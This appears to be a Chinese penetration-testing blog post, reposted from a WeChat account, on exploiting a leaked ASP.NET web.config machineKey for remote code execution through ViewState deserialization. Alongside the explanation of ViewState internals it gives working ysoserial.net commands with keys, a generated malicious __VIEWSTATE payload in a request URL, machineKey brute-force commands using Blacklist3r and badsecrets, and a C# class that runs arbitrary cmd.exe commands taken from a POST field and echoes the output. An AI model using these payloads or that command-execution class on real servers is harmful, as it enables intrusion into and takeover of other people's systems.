众所周知,web.config文件绝大多数情况下,我们都会当作信息泄露写至报告中,而存在web.config的网站都是net开发的,也就是asp/aspx脚本。学会本篇内容,你就会发现,你之前弄丢的一次展现实力的机会。
web.config里面会有什么内容,为什么会存在。
web.config介绍
下面是配置文件泄露的内容:
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES"/>
<compilation debug="true"/>
</system.web>
</configuration>
有多的,也有少的,或者其他的,至于内容就看你的运气了。
这个文件包含了asp.net网站的常用配置。
web.config文件是一个XML文件,它的根结点是,在节点下的常见子节点有:、、和
具体哪些节点就自己去翻资料吧
ViewState 简单介绍
ViewState是ASP.NET Web Forms中的⼀种机制,⽤于跟踪⻚⾯上的控件状态并在回发时恢复这些状 态。它主要⽤于解决Web应⽤程序的状态管理问题。
在Web开发中,HTTP是⼀种⽆状态协议,每次请求都是独⽴的,服务器⽆法记住上⼀次请求的信息。⽽ 在⼀些交互性较强的Web应⽤程序中,我们需要保持⻚⾯上各个控件的状态以提供更好的⽤户体验。这 就是ViewState所要解决的问题。
ViewState通过在HTML中插⼊隐藏字段来保存⻚⾯上每个控件的状态,⽐如⽂本框的值、复选框的选中 状态等。当⻚⾯回发到服务器时,服务器会根据隐藏字段中的信息将控件状态还原,使得⻚⾯能够保持 跨请求的连续性。
ViewState的⼯作原理可以简单描述为以下⼏个步骤:
1.当⻚⾯⾸次加载时,服务器会将⻚⾯上每个控件的状态保存到ViewState中。
2.ViewState中的状态数据会被序列化为Base64编码格式,并插⼊到HTML⻚⾯的隐藏字段中。
3.当⽤户操作⻚⾯并触发回发时,浏览器会将⻚⾯的内容以及隐藏字段⼀同发送到服务器。
4.服务器收到请求后会解析隐藏字段中的状态数据,并根据其内容恢复每个控件的状态。
5.服务器处理完请求后,将响应发送给浏览器,此时ViewState中的内容也会随着响应⼀同返回到浏览 器。
6.浏览器接收到响应后会解析其中的ViewState,并保存在⻚⾯上。
7.接下来的请求中,浏览器会将保存的ViewState再次传递给服务器,以便在后续请求中持续跟踪和恢 复控件状态。
比如下面这个登录页面
这里相信你们测net的网站都遇到过,查看源码,会出现这个单词,然后一堆base64编码数据。
原始的ViewState仅仅是用base64编码了序列化后的binary数据,未使用任何类型的密码学算法进行加密,可以使用LosFormatter(现在已经被ObjectStateFormatter替代)轻松解码和反序列化。
LosFormatter formatter = new LosFormatter();
object viewstateObj = formatter.Deserialize("/wEPDwULLTE2MTY2ODcyMjkPFgIeCHBhc3N3b3JkBQlzd29yZGZpc2hkZA==");
ViewState 加密算法
在 .NET 2.0 中,默认情况下,ViewState 是没有被加密的,可以通过设置 EnableViewStateMac属性来启⽤MAC(Message Authentication Code)校验。⽽在 .NET 4.0 中, ViewState 的随机加密默认是开启的,可以通过设置来启⽤对 ViewState 的随机加密。这样可以提供更好的安全性,防⽌ViewState数据被篡改和伪造。
enableViewState:用于设置是否开启viewState,但是请注意,根据 安全通告KB2905247 中所说,即使在web.config中将enableViewState 设置为false,ASP.NET服务器也始终被动解析 ViewState。也就是说,该选项可以影响ViewState的生成,但是不影响ViewState的被动解析。实际上,viewStateEncryptionMode也有类似的特点。
enableViewStateMac:用于设置是否开启ViewState Mac (校验)功能。在 安全通告KB2905247 之前,也就是4.5.2之前,该选项为false,可以禁止Mac校验功能。但是在4.5.2之后,强制开启ViewState Mac 校验功能,因为禁用该选项会带来严重的安全问题。不过我们仍然可以通过配置注册表或者在web.config 里添加危险设置的方式来禁用Mac校验,详情见后面分析。
viewStateEncryptionMode:用于设置是否开启ViewState Encrypt (加密)功能。该选项的值有三种选择:Always、Auto、Never。
•Always表示ViewState始终加密;
•Auto表示 如果控件通过调用 RegisterRequiresViewStateEncryption() 方法请求加密,则视图状态信息将被加密,这是默认值;
•Never表示 即使控件请求了视图状态信息,也永远不会对其进行加密。
在实际调试中发现,viewStateEncryptionMode 影响的是ViewState的生成,但是在解析从客户端提交的ViewState时,并不是依据此配置来判断是否要解密
解密网站:https://viewstatedecoder.azurewebsites.net/
这里的/也要放进去,解密后会发现很多pair关键字,然后是uri和一些文本之类的。
我们查看网站,上面的文本和内容都在web页面中出现过
那么这个pair到底是什么呢,实际上他是System.Web.UI.Pair对象。
它提供用于存储两个相关对象的基本实用工具类。
[ ]
public sealed class Pair
在 Pair 页面状态持久性实现中,可以通过多种方式使用 类。最常见的用途是用作 和 ControlState 集合的ViewState容器。
Serializable 这个单词大家都不陌生吧,对了,他就是负责序列化的
ViewState的生成和解析流程
ViewState 是通过ObjectStateFormatter的Serialize和Deserialize 来完成ViewState的序列化和反序列化工作。(LosFormatter 也用于ViewState的序列化,但是目前其已被ObjectStateFormatter替代。LosFormatter的Serialize 是直接调用的ObjectStateFormatter 的Serialize)
ObjectStateFormatter 位于System.Web.UI 空间
这是LosFormatter对应的代码
这里是ObjectStateFormatter对应的代码
查看Serialize 函数的代码,这里版本为4.0
找gpt写个注释
首先,方法声明了一个私有的字符串返回类型,名为Serialize,接受两个参数:stateGraph(要序列化的对象)和purpose(目的)。
创建一个空的字符串变量result,以便存储序列化后的结果。
创建一个MemoryStream对象memoryStream,用于在内存中存储序列化的数据。
使用Serialize方法将stateGraph对象序列化到memoryStream中。
设置memoryStream的长度为当前位置,以确保只使用实际写入的数据。
获取memoryStream的缓冲区byte[] array,并获取缓冲区的长度。
检查是否使用了默认的加密提供程序(AspNetCryptoServiceProvider.Instance.IsDefaultProvider),并且不强制使用旧的加密算法(this._forceLegacyCryptography为false)。
如果满足条件,并且_page不为null且要求ViewState加密或启用了ViewState的消息验证码,则使用指定的目的(purpose)和特定目的(GetSpecificPurposes())来获取加密服务(ICryptoService),然后对memoryStream中的数据进行保护加密,将加密后的数据存储在array中,并更新length为加密后数据的长度。
如果不满足上述条件,但_page不为null且要求ViewState加密,则使用MachineKeySection.EncryptOrDecryptData方法对array中的数据进行加密,将加密后的数据存储在array中,并更新length为加密后数据的长度。
如果不满足上述条件,但_page不为null且启用了ViewState的消息验证码,或者_macKeyBytes不为null,则使用MachineKeySection.GetEncodedData方法对array中的数据进行编码,将编码后的数据存储在array中,并更新length为编码后数据的长度。
将array中从索引0开始长度为length的数据转换为Base64字符串,存储在result变量中。
最后,在finally块中释放memoryStream对象的资源。
返回result作为序列化后的字符串结果。
查看 Deserialize 函数的代码
用于将一个字符串(inputString)反序列化为对象。方法接受两个参数:inputString表示要反序列化的字符串,purpose表示反序列化的目的。
代码的主要逻辑如下:
首先,检查输入字符串是否为空或null,如果是则抛出ArgumentNullException。
将输入字符串inputString转换为Base64编码的字节数组byte[] array。
获取数组array的长度num。
检查是否使用了默认的加密提供程序(AspNetCryptoServiceProvider.Instance.IsDefaultProvider),并且不强制使用旧的加密算法(this._forceLegacyCryptography为false)。
如果满足条件,并且_page不为null且ViewState中包含加密的数据或启用了ViewState的消息验证码,则使用指定的目的(purpose)和特定目的(GetSpecificPurposes())来获取加密服务(ICryptoService),然后对数组array中的数据进行解密,将解密后的数据存储在array中,并更新num为解密后数据的长度。
如果不满足上述条件,但_page不为null且ViewState中包含加密的数据,则使用MachineKeySection.EncryptOrDecryptData方法对数组array中的数据进行解密,将解密后的数据存储在array中,并更新num为解密后数据的长度。
如果不满足上述条件,但_page不为null且启用了ViewState的消息验证码,或者_macKeyBytes不为null,则使用MachineKeySection.GetDecodedData方法对数组array中的数据进行解码,将解码后的数据存储在array中,并更新num为解码后数据的长度。
如果在解密或解码过程中发生异常,则增加一个性能计数器(AppPerfCounter.VIEWSTATE_MAC_FAIL)的计数,并抛出ViewStateException异常。
创建一个空的对象变量result,以便存储反序列化后的结果。
创建一个MemoryStream对象memoryStream,用于在内存中存储反序列化所需的数据。
将数组array中的数据写入memoryStream中,从索引0开始写入长度为num的数据。
设置memoryStream的位置为0。
使用Deserialize方法将memoryStream中的数据反序列化为对象,并将结果存储在result中。
最后,在finally块中释放memoryStream对象的资源。
返回result作为反序列化后的对象结果。
总体上,这段代码根据输入的字符串和反序列化的目的,将字符串解码为字节数组,根据特定的条件对数组进行解密或解码,然后将解密或解码后的数据写入MemoryStream中,并通过Deserialize方法将其反序列化为对象,最后返回反序列化后的对象。如果解密或解码过程中发生异常,则增加一个性能计数器的计数并抛出异常。
在序列化/反序列化过程中,有一个函数是用来做解密的EncryptOrDecryptData
在这里,它是有四个重载方法的
重点是最后一个重载方法
用于在加密或解密数据时进行处理。方法接受多个参数,包括一个布尔值fEncrypt表示是否进行加密操作,一个字节数组buf表示要加密或解密的数据,一个字节数组modifier表示加密或解密的修饰符,以及其他一些布尔值和枚举类型的参数。
代码的主要逻辑如下:
首先,确保MachineKeySection的配置信息已加载。
如果不是加密操作(fEncrypt为false)且需要对数据进行签名(signData为true),则对buf进行处理:
如果start不为0或length不等于buf的长度,则创建一个新的长度为length的字节数组array,并将buf中从start开始、长度为length的数据复制到array中,并将buf引用指向array,将start更新为0。
调用MachineKeySection.GetUnHashedData方法对buf进行解哈希操作,得到解哈希后的数据,并将其存储在buf中。
如果buf为null,则抛出HttpException异常。
更新length为buf的长度。
如果使用旧的加密模式(useLegacyMode为true),则检查是否正在使用自定义加密(MachineKeySection._UsingCustomEncryption),如果是,则将useLegacyMode置为true。
创建一个MemoryStream对象memoryStream,用于在内存中存储加密或解密所需的数据。
调用MachineKeySection.GetCryptoTransform方法获取用于加密或解密的ICryptoTransform对象。
创建一个CryptoStream对象cryptoStream,将memoryStream作为输出流,cryptoTransform作为转换器,并设置流模式为写入模式。
根据加密操作和一些条件判断是否需要进行签名或使用初始化向量(iv):
如果是加密操作(fEncrypt为true)且需要签名(signData为true),或者ivType不为IVType.None且兼容模式大于Framework20SP1,则设置一个标志flag为true。
如果是加密操作(fEncrypt为true)且flag为true,则根据ivType的值生成一个初始化向量数组array2,并将其写入cryptoStream中。
将buf中指定范围的数据(start和length)写入cryptoStream中。
如果是加密操作(fEncrypt为true)且modifier不为null,则将modifier写入cryptoStream中。
刷新并完成cryptoStream的最后一个数据块的处理。
将memoryStream中的数据转换为字节数组array3。
关闭cryptoStream流。
调用MachineKeySection.ReturnCryptoTransform方法返回使用的加密转换器。
根据加密操作和一些条件判断是否需要进行验证或修饰符处理:
如果是解密操作(fEncrypt为false)且flag为true,则根据验证算法类型和IV的长度获取截取后的字节数组array4。
否则,将array3赋值给array4。
如果是解密操作(fEncrypt为false)且modifier不为null且长度不为0,则检查array4中的数据是否与modifier匹配,如果不匹配则抛出HttpException异常。
首先,设置一个标志flag2为false。
遍历modifier数组中的每个字节,如果array4中的对应字节与modifier中的对应字节不相等,则将flag2置为true。
如果flag2为true,则抛出HttpException异常。
创建一个长度为array4.Length减去modifier.Length的字节数组array5,将array4中的数据复制到array5中,并将array4引用指向array5。
如果是加密操作(fEncrypt为true)且需要签名(signData为true),则对array4进行哈希处理:
调用MachineKeySection.HashData方法对array4进行哈希,得到哈希后的数据array6。
创建一个长度为array4.Length加上array6.Length的字节数组array7,将array4和array6中的数据复制到array7中,并将array4的引用指向array7。
将array4作为结果返回。
代码的主要功能是根据参数指定的操作(加密或解密)对数据进行处理。它使用了MachineKeySection类的方法来获取加密转换器和执行加密操作所需的其他信息,还包括对数据的签名和验证。具体的数据处理逻辑根据参数的不同进行了相应的处理和转换。
我也刚开始学习net代码,就不分析代码底层流程了,如需更多学习,请自行百度。
ViewState反序列化漏洞
讲了那么多,就开始正式进行实战训练。
web.config 和 viewstate 有什么关系,简单来说就是web.config中存在viewstate的加密方式和key,有了加密方式和key,我们就可以利用工具生成数据,从而执行命令。
存在web.config如何攻击
比如通过目录扫描,发现web.config泄露
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES"/>
<compilation debug="true"/>
</system.web>
</configuration>
使用net版的yso进行攻击
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2" --validationalg="HMACSHA256" --validationkey="BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D"
p: ViewState 攻击方式
g: 利用链
c: cmd 命令
path: uri
apppat: 根路径
decryptionalg: 加密方式
decryptionkey: web.config对应的key
validation: web.config对应的validation
validationkey: web.config对应的validationkey
xEK%2FeCRIo7%2FftsczFLNJf0Q39eux7CDFpkmOu6t8FsJkJBRCy9VsTQI2J83k84OiuyzGlbSlDqz13pUHIIoRSZCZ25jtld0KTsFA3tLLqa8KDZvuUvoJ%2BAYw3H%2BN1qPaxIeniZPMe7OTpgld2VeKSRONhk3oW8biwzr11ouUDYSd00JROgSaGCc%2FNBN1IrTnxlRTxcgfgnRzXFg%2BqogFC2hosIKuQ4Ij8NV%2FluRjb3Chov0munE19y423i%2B6drBSIIh8P5KYQ6Mlw8FPTZx3h%2BiAhBOHlFhOsAjLnGWguVpMdVX3%2Fkb1HlzKi%2BS2H8pGRflGibTXsFoBo8ZQoTulGMYo11rZNcs27KRu5%2FMHmKOmO%2BtujQZlmCSMURwZKHU0MCR0qQhOKpuOPF53hyXBejk3RULpqbcXdGCfIAnqjmE0fCOIuijE7B80lWvrM3XU71CSDlJOJ4W6KsOmq5A9f3q8Jm3A64elYhYiwqjDlydmx%2BaDFsMYNLejJd92gDgZ8qyv%2FpztenO6xVGwi1FNMhJY4ddgGVgFMYlrHuBGcZpmr1WekJHZXZpf7lMjf5GCMRVaIlDLLxwobNii0U0TNPRdzndAnn%2FKC%2FSYi3nZsgs6M2LxegfmWnYK%2FGGt7E%2B8BeF4PlYRPXsUequxrAB5Gin5JpcnuWLHXhH3h3LUOmH0M0oweyWrSz90BNxnrapsjPRlwayxiupfKzswDwBrU4sWtULBCTovEp2XZZSuYLQoz3SCIp2U5bJrxqukgNXurcL%2BPpe9z5Eux6UCgl4CirBgCz882wFmPsj%2FAmKjbEyU3iUJffb9yw9X1jIXntbkMhYWp9F1688xxub4WiK%2BgxSdt0voyDJ94lA4a2BosHc%2BgHETJ9AE%2BS9rit4X554gScrUEeaWlCzddEDmliiFIaO0mCUor5o8zbvCGl6NiVefTKRjGsioJZkFetRXKEAJcfSdRhcQBESjfxR2gxn6IojpLbi0vErkyudHf%2FzFq3t%2FErqksrzQw%2FLj2vbfPJ0Gtln%2F0Rz4NTH8Dk0RzSWcigiT5xhLHuvdmEKvKfPHcrwEOS5SjLiHBwoZc0hsV%2F3WmJlGhD6%2BXb5%2F28tPTOqwWtl2guFgse9mqfUoJXCVC4TlmkokU9srE2UF%2B1XvvFxBMKFu328grNzRmR0%2FYxG6esN9Lqlq14tPTUErMGjHjdNiPO%2BHFxtnzG%2FGWHwoJZike8lzu1OH6idydaRjrDxH3EoidjB7jIhHmDGnRIudC24Wg9ZcNAUPbQJyZb7nJ14G1VrkJ42OkkITSAAv0UW2LQ%3D%3D
右键源码/F12,复制参数__VIEWSTATE
post/get方法都可进行传参数
http://http://localhost:50252/Login.aspx?__VIEWSTATE=xEK%2FeCRIo7%2FftsczFLNJf0Q39eux7CDFpkmOu6t8FsJkJBRCy9VsTQI2J83k84OiuyzGlbSlDqz13pUHIIoRSZCZ25jtld0KTsFA3tLLqa8KDZvuUvoJ%2BAYw3H%2BN1qPaxIeniZPMe7OTpgld2VeKSRONhk3oW8biwzr11ouUDYSd00JROgSaGCc%2FNBN1IrTnxlRTxcgfgnRzXFg%2BqogFC2hosIKuQ4Ij8NV%2FluRjb3Chov0munE19y423i%2B6drBSIIh8P5KYQ6Mlw8FPTZx3h%2BiAhBOHlFhOsAjLnGWguVpMdVX3%2Fkb1HlzKi%2BS2H8pGRflGibTXsFoBo8ZQoTulGMYo11rZNcs27KRu5%2FMHmKOmO%2BtujQZlmCSMURwZKHU0MCR0qQhOKpuOPF53hyXBejk3RULpqbcXdGCfIAnqjmE0fCOIuijE7B80lWvrM3XU71CSDlJOJ4W6KsOmq5A9f3q8Jm3A64elYhYiwqjDlydmx%2BaDFsMYNLejJd92gDgZ8qyv%2FpztenO6xVGwi1FNMhJY4ddgGVgFMYlrHuBGcZpmr1WekJHZXZpf7lMjf5GCMRVaIlDLLxwobNii0U0TNPRdzndAnn%2FKC%2FSYi3nZsgs6M2LxegfmWnYK%2FGGt7E%2B8BeF4PlYRPXsUequxrAB5Gin5JpcnuWLHXhH3h3LUOmH0M0oweyWrSz90BNxnrapsjPRlwayxiupfKzswDwBrU4sWtULBCTovEp2XZZSuYLQoz3SCIp2U5bJrxqukgNXurcL%2BPpe9z5Eux6UCgl4CirBgCz882wFmPsj%2FAmKjbEyU3iUJffb9yw9X1jIXntbkMhYWp9F1688xxub4WiK%2BgxSdt0voyDJ94lA4a2BosHc%2BgHETJ9AE%2BS9rit4X554gScrUEeaWlCzddEDmliiFIaO0mCUor5o8zbvCGl6NiVefTKRjGsioJZkFetRXKEAJcfSdRhcQBESjfxR2gxn6IojpLbi0vErkyudHf%2FzFq3t%2FErqksrzQw%2FLj2vbfPJ0Gtln%2F0Rz4NTH8Dk0RzSWcigiT5xhLHuvdmEKvKfPHcrwEOS5SjLiHBwoZc0hsV%2F3WmJlGhD6%2BXb5%2F28tPTOqwWtl2guFgse9mqfUoJXCVC4TlmkokU9srE2UF%2B1XvvFxBMKFu328grNzRmR0%2FYxG6esN9Lqlq14tPTUErMGjHjdNiPO%2BHFxtnzG%2FGWHwoJZike8lzu1OH6idydaRjrDxH3EoidjB7jIhHmDGnRIudC24Wg9ZcNAUPbQJyZb7nJ14G1VrkJ42OkkITSAAv0UW2LQ%3D%3D
不存在web.config如何攻击
如果没有发现配置信息,那key要怎么获取?答案是:爆破
AspDotNetWrapper.exe
您可以尝试使用Blacklist3r(AspDotNetWrapper.exe来查找使用的密钥。
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTQwNjA1MDA3OGRkq51hxSZG6Yis6UUsTYd9Sj2YYS8= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode --TargetPagePath "./Default.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
keypath: 对应爆破字典
encrypteddata: 对应下面10行的value值
modifier: 对应15行的value
TargetPagePath: 对应8行的action
然后这里就成功爆破出他的key和vaule了
Badsecrets
另一个可以识别已知 machineKeys 的工具。它是用 Python 编写的,所以与 Blacklist3r 不同,它没有 Windows 依赖。对于 .NET viewstates,有一个名为 "python blacklist3r" 的实用程序,这是使用它的最快方法。
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
命令执行有回显
前面做了操作,弹出计算器,是无回显的,那么有回显的该如何操作?
先看命令
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2" --validationalg="HMACSHA256" --validationkey="BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D"
-p ViewState: 指定 ysoserial 使用 ViewState 反序列化漏洞的 payload。
-g ActivitySurrogateSelectorFromFile: 指定 ysoserial 使用 ActivitySurrogateSelectorFromFile gadget chain,它是一种常见的利用方式。
-c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll": 指定要执行的恶意代码。
--path="/login.aspx": 指定目标页面的路径,这里是登录页面。
--apppath="/": 指定应用程序的根路径。
--decryptionalg="3DES": 指定解密算法,这里使用 AES。
--decryptionkey="": 指定解密密钥。
--validationalg="SHA1": 指定验证算法,这里使用 HMACSHA256。
--validationkey="": 指定验证密钥。
dlls/System.dll 和 dlls/System.Web.dll 是指定要序列化和反序列化时所需的程序集文件路径。
具体解释如下:
在ASP.NET中,当进行对象的序列化和反序列化操作时,需要引用相关的程序集以获取所需的类和方法。这些程序集包含了用于序列化和反序列化操作的类型定义和实现。
在ViewState反序列化攻击中,攻击者构造了一个恶意的ViewState数据,其中包含了要反序列化的对象类型。为了成功地反序列化该对象,服务器需要能够解析和加载相关的程序集。
因此,通过在命令中指定程序集文件路径,攻击者确保服务器能够找到所需的程序集文件,并从中加载所需的类型定义。
在你的命令中,/dlls/System.dll 是一个绝对路径,指定了 System.dll 程序集的位置。而 ./dlls/System.Web.dll 是一个相对路径,指定了 System.Web.dll 程序集相对于当前工作目录的位置。
这两个程序集文件通常被用于ViewState反序列化攻击中,因为它们包含了用于ASP.NET Web Forms的核心功能和类。例如,System.dll 包含了常用的系统功能,而 System.Web.dll 包含了用于Web应用程序开发的类和方法。
相当于,java编写内存马,需要引入jar包当作依赖,不然编译的时候就会报错,出现xxx不存在。
如何找这两个dll呢
C:WindowsMicrosoft.NETFramework64
payload
class E
{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Form["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}
然后把cs文件,两个dll文件放到yso目录下
可见,已经成功rce了
参考链接:
https://book.hacktricks.xyz/v/cn/pentesting-web/deserialization/exploiting-__viewstate-parameter#ce-shi-an-li-1.5-lei-si-yu-ce-shi-an-li-1-dan-fu-wu-qi-wei-fa-song-viewstate-cookie
https://paper.seebug.org/1386/
原文始发于微信公众号(轩公子谈技术):泄露的web.config 可以rce,你造吗?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论